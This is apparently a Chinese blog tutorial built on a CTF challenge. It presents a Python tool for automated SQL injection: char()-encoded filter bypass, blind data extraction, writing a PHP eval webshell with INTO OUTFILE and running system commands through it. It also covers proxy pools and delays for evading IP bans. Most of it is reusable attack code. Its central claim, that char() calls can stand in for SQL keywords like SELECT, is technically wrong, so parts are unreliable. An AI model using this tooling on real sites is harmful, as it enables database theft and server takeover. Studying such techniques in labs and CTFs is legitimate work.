ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Python自动化SQL注入:利用char()编码绕过WAF过滤实战

Python自动化SQL注入:利用char()编码绕过WAF过滤实战

1. 项目概述与核心思路

最近在BUUCTF上刷题,遇到一个典型的SQL注入关卡,题目对常见的andor空格引号甚至selectunion等关键词都做了过滤,手动构造Payload非常繁琐。这种场景下,一个能自动化编码、测试和利用的Python脚本就成了“破局”的关键。今天,我就来拆解一下我当时写的一个脚本,它核心是利用char()函数编码绕过过滤,并最终实现GetShell。整个过程不仅适用于CTF,对于理解实际渗透测试中遇到WAF(Web应用防火墙)或自定义过滤规则时的绕过思路也很有帮助。

这个脚本的目标很明确:在存在严格关键字过滤的注入点,通过将Payload中的敏感字符转换为char()函数的ASCII码形式(例如,select转换为char(115,101,108,101,99,116)),从而绕过基于字符串匹配的过滤机制。然后,我们需要自动化完成从探测注入点到获取数据库信息,再到写入WebShell的完整链条。这不仅仅是写几行代码,更涉及到对SQL注入原理、Web应用交互逻辑以及Python网络编程的深入理解。无论你是CTF新手想提升自动化能力,还是安全从业者想精进工具开发,这篇内容都能给你提供一套清晰的、可复现的实战思路。

2. 核心原理:为什么char()编码能绕过过滤?

在深入代码之前,我们必须先搞清楚背后的原理。很多初级的Web应用防护,包括一些CTF题目的过滤逻辑,是基于黑名单的字符串匹配。例如,代码中可能包含这样的检查:

blacklist = [‘select‘, ‘union‘, ‘and‘, ‘or‘, ‘ ‘, ‘"‘, ‘\‘‘, ‘#‘, ‘--‘] for word in blacklist: if word in user_input: return “检测到非法输入!”

这种过滤方式非常“粗暴”,它只检查用户输入的原始字符串中是否包含了黑名单里的子串。而char()函数是MySQL(以及其他一些数据库,如SQL Server)中的一个内置函数,它接受一个或多个整数参数,并返回这些整数对应的ASCII字符连接成的字符串。例如,char(115,101,108,101,99,116)在数据库内部执行后,结果就是字符串‘select‘

关键在于:过滤逻辑是在应用层(我们的Python脚本与Web服务器之间)检查我们发送的原始请求字符串。当我们发送char(115,101,108,101,99,116)时,这个字符串本身并不包含‘select‘这个子串,因此能顺利通过应用层的过滤。这个字符串被传递到数据库层后,数据库引擎会执行char()函数,将其解释‘select‘关键字,从而完成SQL语句的拼接与执行。这就实现了一次“瞒天过海”。

注意:这种方法并非万能。如果过滤系统不仅检查原始输入,还进行了更深入的语法分析、语义分析,或者使用了WAF的变形检测引擎,单纯的char()编码可能失效。但在大量CTF场景和防护水平一般的实际环境中,它仍然非常有效。

3. 脚本整体设计与模块拆解

一个健壮的自动化注入脚本不应该是一堆顺序执行的代码,而应该模块清晰、功能解耦。这样不仅便于调试,也方便后续扩展功能(比如支持hex()编码、concat()拼接等其他绕过方式)。我的脚本主要分为以下几个核心模块:

3.1 请求与会话管理模块

这是脚本与靶场交互的基础。我们使用Python的requests库。关键点在于维持一个会话(requests.Session()),这样可以自动处理Cookies,模拟浏览器行为,在需要登录或存在会话状态的题目中至关重要。

import requests import time class SQLiExploiter: def __init__(self, target_url): self.target_url = target_url self.session = requests.Session() # 添加一些常见的请求头,降低被简单拦截的概率 self.headers = { ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36‘, ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, } self.session.headers.update(self.headers)

这里我选择将目标URL和会话封装在一个类里,比使用全局变量更清晰。设置一个通用的请求头也能避免一些基于空User-Agent的简单拦截。

3.2 Payload编码转换模块

这是脚本的“心脏”。它的功能是将一个标准的SQL注入Payload(例如‘ union select 1,2,database()#),转换成char()编码的形式。

def encode_to_char(self, payload): """ 将payload中的每个字符转换为其ASCII码,并用char()函数包裹。 例如:'select' -> 'char(115,101,108,101,99,116)' 注意:空格、括号等字符也需要转换。 """ encoded_parts = [] for char in payload: # 将字符转换为ASCII码 ascii_val = ord(char) encoded_parts.append(str(ascii_val)) # 用逗号连接所有ASCII码,并包裹在char()中 encoded_payload = ‘char(‘ + ‘,‘.join(encoded_parts) + ‘)‘ return encoded_payload

但这样有一个问题:整个Payload被编码成一个巨大的char()函数,可读性差,且在某些数据库中对char()函数的参数长度可能有限制。更常见的做法是只对敏感关键词进行局部编码。我们可以维护一个需要编码的关键词列表。

def encode_sensitive_keywords(self, payload, keywords=[‘select‘, ‘union‘, ‘from‘, ‘where‘, ‘and‘, ‘or‘, ‘ ‘]): """ 只对payload中的敏感关键词进行char()编码。 """ encoded_payload = payload # 为了正确处理,需要按长度从长到短排序关键词,避免‘or‘匹配到‘order‘的情况 keywords_sorted = sorted(keywords, key=len, reverse=True) for kw in keywords_sorted: if kw in encoded_payload: # 将关键词转换为char编码形式 char_code = ‘char(‘ + ‘,‘.join(str(ord(c)) for c in kw) + ‘)‘ # 替换时需要注意,不能替换到已经被编码的部分。这里简化处理,直接替换。 # 更严谨的做法是用正则匹配单词边界,但CTF场景下通常够用。 encoded_payload = encoded_payload.replace(kw, char_code) return encoded_payload

实操心得:在实战中,我通常先用一个简单的测试(如1‘ and ‘1‘=‘1)判断过滤了哪些字符。然后动态构建keywords列表。空格被过滤时,除了用char(32),还可以用/**/(MySQL注释符)或+号(在某些语境下)代替,这需要在编码逻辑中增加额外的替换规则。

3.3 布尔盲注与时间盲注自动化模块

当页面没有直接回显数据库信息时(即盲注),我们需要通过页面差异(布尔盲注)或响应时间(时间盲注)来逐位提取数据。这是脚本中最需要耐心和技巧的部分。

布尔盲注逻辑:通过构造and ascii(substr(database(),1,1))>100这类Payload,根据页面内容是否包含某个特征(如“成功”、“存在”等关键词)来判断条件真假。

def boolean_based_test(self, test_payload): """ 发送测试payload,根据页面响应判断条件真假。 需要提前通过手动测试,确定‘真‘和‘假‘条件对应的页面特征。 """ data = {‘id‘: test_payload} # 假设注入参数是‘id‘ resp = self.session.post(self.target_url, data=data) # 这里需要你根据靶场实际响应来确定判断逻辑 # 例如,真条件时页面包含‘admin‘,假条件时不包含 if ‘admin‘ in resp.text: return True else: return False def extract_data_boolean(self, query, position): """ 通过二分法逐位提取数据。 query: 要执行的SQL查询,如‘select database()‘ position: 要提取的字符位置 """ low, high = 32, 126 # ASCII可打印字符范围 while low <= high: mid = (low + high) // 2 # 构造Payload: 判断第position位字符的ASCII码是否大于mid test_sql = f“ascii(substr(({query}),{position},1))>{mid}“ encoded_sql = self.encode_sensitive_keywords(test_sql) payload = f“1‘ and {encoded_sql} and ‘1‘=‘1“ # 根据实际注入点闭合方式调整 if self.boolean_based_test(payload): low = mid + 1 else: high = mid - 1 # 循环结束时,low > high,且low-1 == high 即为字符的ASCII码 return chr(low-1)

时间盲注逻辑:当页面没有任何差异时,使用sleep()函数。如果条件为真,则让数据库睡眠几秒,通过判断响应时间来判断。

def time_based_test(self, test_payload, delay=3): """ 时间盲注测试。发送payload,计算响应时间。 """ start_time = time.time() data = {‘id‘: test_payload} resp = self.session.post(self.target_url, data=data) # 注意设置适当的超时时间 elapsed = time.time() - start_time # 如果响应时间显著大于设定的延迟,则认为条件为真 return elapsed > delay def extract_data_time(self, query, position): """ 时间盲注方式逐位提取数据。 """ result = ‘‘ for ascii_val in range(32, 127): # 构造Payload: 如果第position位字符的ASCII码等于ascii_val,则睡眠 test_sql = f“if(ascii(substr(({query}),{position},1))={ascii_val},sleep(3),0)“ encoded_sql = self.encode_sensitive_keywords(test_sql) payload = f“1‘ and {encoded_sql} and ‘1‘=‘1“ if self.time_based_test(payload, delay=2.5): # 设置一个略小于sleep时间的阈值 result = chr(ascii_val) break return result

注意事项:时间盲注非常耗时且不稳定,受网络波动影响大。在脚本中一定要设置合理的超时(timeout参数)和延迟阈值。通常先尝试布尔盲注,只有确认布尔型无效时才用时间型。

3.4 文件写入与GetShell模块

获取数据库信息(库名、表名、列名)后,最终目标是写入WebShell。在MySQL中,这通常用到into outfileinto dumpfile语句。

def write_webshell(self, web_path, shell_content=‘<?php @eval($_POST[“cmd“]);?>‘): """ 尝试向web路径写入一句话木马。 web_path: 网站的绝对路径,需要通过信息收集或报错获取,如‘/var/www/html/shell.php‘ shell_content: WebShell内容 """ # 将shell内容进行char编码 encoded_shell = self.encode_to_char(shell_content) # 构造写入文件的Payload # 注意:into outfile需要数据库有FILE权限,且知道绝对路径,且目标目录有写权限 write_payload = f“1‘ union select 1,{encoded_shell} into outfile ‘{web_path}‘#“ encoded_write_payload = self.encode_sensitive_keywords(write_payload) data = {‘id‘: encoded_write_payload} resp = self.session.post(self.target_url, data=data) # 检查写入是否成功,可能需要根据页面响应判断 # 也可以尝试访问写入的shell地址来验证 test_resp = requests.get(f“http://靶场域名或IP/{web_path.split(‘/‘)[-1]}“) if test_resp.status_code == 200: print(f“[+] WebShell 写入成功!地址: {web_path}“) return True else: print(f“[-] WebShell 写入可能失败。“) return False

这个模块的成功依赖于几个前置条件:1. 当前数据库用户拥有FILE权限;2. 你知道网站的绝对路径;3. 目标目录对MySQL进程可写。这些信息往往需要通过之前的注入步骤一步步获取。

4. 在BUUCTF靶场的实战串联

现在,我们把所有模块串联起来,模拟一次完整的攻击链。假设靶场题目是一个简单的GET型注入点,URL为http://buuoj.cn/challenges#靶场,参数是id,对and,or,空格,union,select进行了过滤。

4.1 第一步:环境探测与过滤规则分析

首先,我们手动或写一个简单的探测脚本来确认过滤规则。

probe_payloads = [ “1‘ and ‘1‘=‘1“, # 正常真条件 “1‘ and ‘1‘=‘2“, # 正常假条件 “1‘ and 1=1“, # 测试空格和and “1‘ union select 1,2,3“, # 测试union select ] for pp in probe_payloads: resp = requests.get(target_url, params={‘id‘: pp}) print(f“Payload: {pp} -> 长度: {len(resp.text)}“) # 如果某个Payload返回的页面长度或内容与其他明显不同,说明被过滤或执行逻辑不同

通过对比响应,我们可能发现包含andunion select的请求返回了错误页或相同的“过滤”提示页,从而确认了过滤词。

4.2 第二步:自动化信息收集

确认过滤规则后,我们启动脚本,首先获取当前数据库名。

exploiter = SQLiExploiter(“http://buuoj.cn/challenges#靶场“) db_name = ‘‘ for i in range(1, 20): # 假设数据库名不超过20字符 char = exploiter.extract_data_boolean(“select database()“, i) if not char: break db_name += char print(f“当前数据库名: {db_name}“) print(f“[+] 数据库名获取成功: {db_name}“)

这里我们调用的是boolean_based_test方法,前提是我们已经通过手动测试,确定了页面在条件为真和假时的区别特征(比如真时页面包含“success“,假时不包含)。你需要根据实际靶场情况修改boolean_based_test方法中的判断逻辑。

4.3 第三步:获取表名与列名

获取数据库名后,接下来是获取表名。这需要构造更复杂的查询。

# 获取第一个表名 table_name = ‘‘ for i in range(1, 30): # 注意:information_schema.tables 可能也被过滤,需要编码 query = “select table_name from information_schema.tables where table_schema=database() limit 0,1“ encoded_query = exploiter.encode_sensitive_keywords(query) char = exploiter.extract_data_boolean(encoded_query, i) if not char: break table_name += char print(f“[+] 第一个表名: {table_name}“) # 假设表名为‘users‘,获取其列名 column_name = ‘‘ for i in range(1, 30): query = f“select column_name from information_schema.columns where table_name=‘{table_name}‘ limit 0,1“ encoded_query = exploiter.encode_sensitive_keywords(query) char = exploiter.extract_data_boolean(encoded_query, i) if not char: break column_name += char print(f“[+] 第一个列名: {column_name}“)

踩坑记录information_schema这个库名本身也可能被过滤。如果遇到这种情况,可以尝试用char()编码整个库名,或者使用MySQL的盲注技巧猜解表名(通过select table_name from (select 1)a join (select 2)b...等复杂查询绕过)。在BUUCTF的一些题目中,有时会直接给出表名提示,或者表名非常常规(如admin,flag,users),可以尝试直接猜解。

4.4 第四步:获取Web路径与写入Shell

这是最后一步,也是最关键的一步。我们需要获取网站的绝对路径。常见的方法有:

  1. 利用数据库报错:构造一个报错Payload,有时会暴露出路径。
  2. 利用load_file()函数读取已知文件:如/etc/passwd(Linux)或C:\\windows\\win.ini(Windows),但需要FILE权限。
  3. 基于经验的猜测:在CTF中,路径常常是/var/www/html//app/C:\\phpstudy\\www\\等。

假设我们通过某种方式(比如题目描述、报错信息)得知路径是/var/www/html/

web_path = ‘/var/www/html/shell.php‘ shell_content = ‘<?php @eval($_POST[“ant“]);?>‘ # 使用一个不常见的连接密码 if exploiter.write_webshell(web_path, shell_content): print(“[+] 恭喜,GetShell成功!“) # 可以尝试连接验证 post_data = {‘ant‘: ‘system(“ls -la“);‘} verify_resp = requests.post(f“http://靶场IP或域名/shell.php“, data=post_data) if verify_resp.status_code == 200: print(“[+] WebShell 连接成功,命令执行结果:“) print(verify_resp.text[:500]) # 打印前500字符 else: print(“[-] GetShell失败,请检查路径、权限或过滤规则。“)

5. 脚本优化与高级绕过技巧

基础的char()编码脚本已经能解决很多问题,但在更复杂的场景下,我们需要进一步优化和升级。

5.1 处理更严格的过滤:编码嵌套与混淆

如果题目连char(),都过滤了怎么办?我们可以采用嵌套编码其他函数

  • 嵌套char()编码:先对char这个单词本身进行编码。例如,用char(99,104,97,114)来表示char。然后整个Payload会变成char(99,104,97,114)(...)。这听起来有点绕,但脚本可以自动处理。
  • 使用hex()unhex()select可以写成unhex(73656c656374),因为73656c656374select的十六进制表示。这同样不包含原始关键字。
  • 使用concat()拼接concat(‘sel‘,‘ect‘)。可以将一个关键词拆分成多个部分,用concat拼接,再对每个部分进行char编码。

我们需要升级encode_sensitive_keywords函数,使其支持多种编码策略,并可以随机选择或组合使用,增加绕过成功率。

5.2 提高盲注效率:二分法与并行请求

我们之前的盲注示例已经使用了二分法,这比逐字遍历(从32到126)效率高得多。理论上,提取一个字符只需要log₂(95) ≈ 7次请求。我们可以进一步优化:

  • 多线程/异步请求:在提取一个数据的多个字符时(比如表名的第1位、第2位...),这些请求之间没有依赖关系,可以使用concurrent.futuresasyncio库并发发送,极大缩短整体时间。
  • 缓存与去重:对于相同的测试Payload,可以缓存结果,避免重复请求。
import concurrent.futures def extract_char_concurrent(self, query, position): """使用线程池并发测试一个字符的多个可能ASCII值(范围32-126)""" # 注意:时间盲注不适合高并发,容易误判。这里以布尔盲注为例。 def test_char(ascii_val): test_sql = f“ascii(substr(({query}),{position},1))={ascii_val}“ encoded_sql = self.encode_sensitive_keywords(test_sql) payload = f“1‘ and {encoded_sql} and ‘1‘=‘1“ return ascii_val if self.boolean_based_test(payload) else None with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(test_char, val): val for val in range(32, 127)} for future in concurrent.futures.as_completed(futures): result = future.result() if result is not None: executor.shutdown(wait=False) # 找到一个就停止其他任务 return chr(result) return None

重要提醒:并发请求虽然快,但会给目标服务器带来较大压力,在CTF环境中可能被判定为攻击行为导致IP被封。在实际渗透测试中,必须谨慎使用,并遵守授权范围。在CTF中,也应适度控制并发数(如5-10个线程)。

5.3 错误处理与日志记录

一个健壮的脚本必须有良好的错误处理和日志功能。

  • 网络异常处理:使用try...except包裹请求代码,处理连接超时、拒绝服务等异常。
  • 请求重试机制:对于非致命的网络错误,可以设置重试次数。
  • 详细日志:将发送的Payload、接收的响应状态码、长度、耗时以及判断结果记录到文件或控制台,便于后期分析和调试。
import logging logging.basicConfig(level=logging.INFO, format=‘%(asctime)s - %(levelname)s - %(message)s‘) logger = logging.getLogger(__name__) def safe_request(self, url, data, max_retries=3): for i in range(max_retries): try: resp = self.session.post(url, data=data, timeout=10) logger.info(f“请求成功: {data} -> 状态码: {resp.status_code}, 长度: {len(resp.text)}“) return resp except requests.exceptions.Timeout: logger.warning(f“请求超时,第{i+1}次重试: {data}“) time.sleep(2) except requests.exceptions.RequestException as e: logger.error(f“请求异常: {e}“) break return None

6. 常见问题与排查技巧实录

在开发和运行这类脚本时,你肯定会遇到各种各样的问题。下面是我踩过的一些坑和解决方法:

问题1:脚本跑着跑着就卡住了,或者返回的结果全是乱码。

  • 排查:首先检查判断“真/假”条件的逻辑是否依然准确。有时页面结构会因之前注入的Payload而轻微变化(比如多了一个换行),导致特征匹配失效。最好的方法是,在脚本中增加“心跳检测”:定期(比如每提取10个字符)用已知的真假条件(如1=11=2)测试一下,如果判断错误,就暂停并报警。
  • 解决:优化特征匹配逻辑,不要只依赖一个固定的字符串。可以尝试匹配多个特征,或者计算页面特定区域的哈希值(如hashlib.md5(resp.text[500:1000].encode()).hexdigest())来进行对比。

问题2:into outfile语句执行了,但访问Shell返回404或空白页。

  • 排查
    1. 路径错误:这是最常见的原因。确认你的绝对路径是否正确。可以尝试写入一个无害文件(如into outfile ‘/tmp/test.txt‘ select ‘hello‘)来测试路径和权限。
    2. 权限不足:MySQL进程用户对目标目录没有写权限。
    3. 安全设置:MySQL配置中secure_file_priv参数限制了导出目录。如果这个参数设为NULL,则禁止导出;如果设为一个目录,则只能导出到该目录。你可以通过注入select @@secure_file_priv来查看。
    4. 文件已存在into outfile不能覆盖已存在文件。尝试换一个文件名。
    5. 内容被转义或截断:确保你的WebShell内容被完整正确地写入。可以尝试写入一个简单的文本内容先进行验证。

问题3:靶场有速率限制或封IP机制,脚本很快就被阻断。

  • 解决
    • 降低请求频率:在每次请求之间加入随机延时,time.sleep(random.uniform(1, 3))
    • 使用代理池:如果条件允许,准备多个代理IP,在请求时随机切换。
    • 优化Payload:尽量减少请求次数。使用二分法盲注已经是一种优化。此外,可以尝试一次性获取多个字符(如使用substring((query),1,10)),但需要页面有足够的回显位或者能处理更复杂的盲注逻辑。

问题4:char()编码后的Payload过长,导致请求被截断或数据库报错。

  • 解决:MySQL的char()函数对参数数量有限制。避免对整个长字符串进行编码,而是采用局部编码策略,只编码关键词。如果单个关键词编码后仍然很长,考虑使用concat()将其拆分。例如,select可以拆成concat(char(115,101), char(108), char(101,99,116))

最后,我想强调的是,自动化脚本是为了提升效率,但它不能替代你对SQL注入原理和Web安全基础知识的理解。在运行脚本前,一定要先手动测试,理解漏洞点、过滤规则和闭合方式。脚本只是将你的手工过程标准化、自动化。这个用Python绕过SQL过滤的脚本,其价值不仅在于帮你拿下CTF的flag,更在于它为你提供了一套可扩展的、应对复杂过滤环境的自动化思维框架。你可以在此基础上,增加对mod_rewritebase64异或等更多绕过技术的支持,让它变得更加强大。

返回列表